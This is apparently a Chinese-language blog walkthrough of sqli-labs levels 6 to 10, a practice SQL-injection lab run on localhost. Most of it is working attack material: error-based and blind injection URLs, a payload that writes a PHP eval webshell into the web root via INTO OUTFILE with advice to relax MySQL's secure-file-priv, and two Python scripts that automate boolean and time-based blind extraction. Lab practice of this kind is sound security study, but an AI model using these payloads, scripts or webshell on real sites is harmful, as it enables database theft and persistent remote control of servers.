Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)

第六题 双引号双注入

和第五题一样的界面

单引号,不报错,

使用双引号
报错

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第1张图片

http://localhost/sqli-labs/Less-6/?id=-1"; union select 1 from(select count(*),concat_ws(':',(select version()),floor(rand(0)*2))a from information_schema.tables group by a )b%23

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第2张图片

第七题 导出文件GET字符型注入

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第3张图片

单引号:
报错但是不会输出错误语句

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第4张图片

看下源代码。输出sql语句

两个括号有点恶心了。。。。

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第5张图片

闭合,然后+双注入

一想不对啊,还是不会输出错误语句

http://localhost/sqli-labs/Less-7/?id=-1';)) union select 1 from(select count(*), concat_ws(':',(select version()),floor(rand(0)*2))a from interfarmation_schema.tables group by a )b%23

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第6张图片

看到提示 outfile,导出文件

但是不会获取到绝对路径啊,看到参考的博客直接去前面的题获取了
绝对路径

我们去获取

使用 @@basedir@@datadir 获取路径

http://localhost/sqli-labs/Less-1/?id=-1'; union select 1,@@basedir,@@datadir %23

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第7张图片

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第8张图片

既然我们知道了绝对路径

我们直接写一句话导出来然后菜刀连接

http://localhost/sqli-labs/Less-7/?id=1';)) union select 1,2,'@eval($_POST["Recar"]);?>' into outfile  'E:\\phpstudy\\WWW\\sqli-labs\\Recar.php' %23

执行完去看没有,在 phpmysql中执行报错

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第9张图片

默认做了限制,我们去更改

我们先查看

show variables like '%secure%';

看到是NULL
修改: 在 mysql安装目录下的my.ini (windows)linux是my.conf
增加

secure-file-priv=""  

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第10张图片

执行成功

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第11张图片

查看生成的文件

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第12张图片

这里写图片描述

写入成功

不显示错误,有权限写入文件,又能获取绝对路径。写入一句话直接菜刀连接拿webshell

第八题 布尔型单引号GET盲注

又是一个什么都不会返回的页面
Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第13张图片

没有只会不输出 you are in….
Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第14张图片

盲注~

相关函数:

length(str) 返回str字符串的长度
substr(str,pos,len) 将str从pos位置开始截取len长度的字符进行返回。
注意这里的 pos位置是从1开始的,不是数组的0开始的
mid(str,pos,len) 也是截取字符串
ascii(str) 返回字符串 str的最左面字符的ascii代码值
ascii(str) 返回字符串 str的最左面字符的ascii代码值
ord(str) 返回ascii
if(a,b,c) a为条件,atrue,返回b,否则返回c,如 if(1>2,1,0) 返回0

首先 select database()查询数据库

ascii(substr((select databses()),1,1)
将截取 查询结果即数据库的第一位字母的将其转为 ascii

我们可以判断执行 这个字母是哪个相等,对不对。

http://localhost/sqli-labs/Less-8/?id=1'; and  ascii(substr((select database()),1,1 ))>64 %23

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第15张图片

然后不断改变后面的数字大小,二分快一些。

写脚本:

思路:
可以根据返回的字节大小来快速判断是否正确,二分查询后面的数字。

# conding:utf-8
import requests
url_init = "http://localhost/sqli-labs/Less-8/?id=1";;
url_init_error = url_init + "'"
length_init = requests.get(url_init).headers.get('Content-Length')
database=""
# and ascii(substr((select database()),1,1))>64 %23   然后不断增加后面的数字大小来确定
#and ascii(substr((select table_name from information_schema.tables where table_schema=hex(int (database))),1,1))>64 %23
# 写一个方法二分快速获取应该判断的数字
# 返回数字,传入布尔值,对还是错,对应的数字。
# 正经的二分查询。有序的字符中,最大最小。65到122
# 我们现在知道了返回长度多少是正确的和错误的
#
def get_length(url):
    length = requests.get(url).headers.get('Content-Length')
    #print("length:"+str(length))
    # 正确的
    if (length == length_init):
        return True
    else:
        return False
def geturl(n,number):
    url = url_init_error+"and ascii(substr((select database()),{0},1))>{1} %23".format(n,number)
    print(url)
    return url
def efs(min_number,max_number,n):
    if(max_number-min_number==1):
        print("[+] get "+chr(max_number))
        global database
        database=database+(chr(max_number))
        print('[+] databse is {0}'.format(database))
        return
    number = int((min_number+max_number)/2)
    #print(number)
    url = geturl(n,number)
    #print(url)
    #如果比中间大
    if get_length(url):
        efs(number,max_number,n)
    else:
        efs(min_number,number,n)
for n in range(1,10):
    #如果大于1都不满足就是结束了
    if(get_length(geturl(n,1))is False):
        break
    else:
        efs(65,127,n)

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第16张图片

实现了功能

接下来将代码写成跑全部表和字段的

主要更改的还是 playload

获取 表的长度

http://localhost/sqli-labs/Less-8/
?id=1'and (select count(*) from information_schema.tables where table_schema=0x7365637572697479 )>4 %23

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第17张图片

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第18张图片

查询表名

select ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479  limit 0,1),1,1))>101;

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第19张图片

即 payload

http://localhost/sqli-labs/Less-8/
?id=1'and  ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479  limit 0,1),1,1))>100 %23

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第20张图片

这种大小判断太麻烦了,不如直接判断字符是否相等
好写但是效率不高

http://localhost/sqli-labs/Less-8/
?id=1'and  substr((select table_name from information_schema.tables where table_schema=0x7365637572697479  limit 0,1),1,1)='e' %23

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第21张图片

第九题

http://localhost:9096/sqli-labs/Less-9/?id=1

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第22张图片

时间盲注

单双引号都不报错

源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
    if($row)
    {
      echo '';    
      echo 'You are in...........';
      echo "
"
; echo "
"; } else { echo ''; echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "
"; echo ''; } }

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第23张图片

使用 if函数

if(判断语句,A,B)
如果判断语句是TRUE执行A,否则B
查看执行时间
Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第24张图片

这里写图片描述

http://localhost:9096/sqli-labs/Less-9/
?id=1' and if((substr((select database()),1,1)='s'),sleep(5),NULL); %23

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第25张图片

获取数据库名

先获取长度

SELECT * FROM users WHERE id='1' and if((length((select database()))=8),sleep(5),NULL); #' LIMIT 0,1;

Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)_第26张图片

代码

import requests
value ="abcdefghigklmnopqrstuvwxyz@_."
data=""
url = "http://localhost:9096/sqli-labs/Less-9/?id=1' and if((substr(({0}),{1},1)='{2}'),sleep(5),NULL); %23"
url_length="http://localhost:9096/sqli-labs/Less-9/?id=1' and if((length(({0}))={1}),sleep(5),NULL); %23"
def get_length(payload):
    for n in range(1,100):
        url= url_length.format(payload,n)
        print(url)
        if(get_respone(url)):
            print("[+] length is {0}".format(n))
            return n
def get_data(payload,value,length):
    for n in range(1,length):
        for v in value :
            url_data = url.format(payload,n,v)
            print(url_data)
            if(get_respone(url_data)):
                global data
                data=data+v
                print("[+] data is {0}".format(data))
                break
def get_respone(url):
    try:
        html = requests.get(url,timeout=4)
        return False
    except Exception as e:
        print("......")
        return True
databse_payload ="select database()"
get_data(databse_payload,value,get_length(databse_payload)+1)

第十题 双引号时间盲注

将第九题的单引号换成双引号

http://localhost/sqli-labs/Less-10/
?id=1" and if((substr((select database()),1,1)='s'),sleep(5),NULL); %23

你可能感兴趣的:(安全,sqli-labs)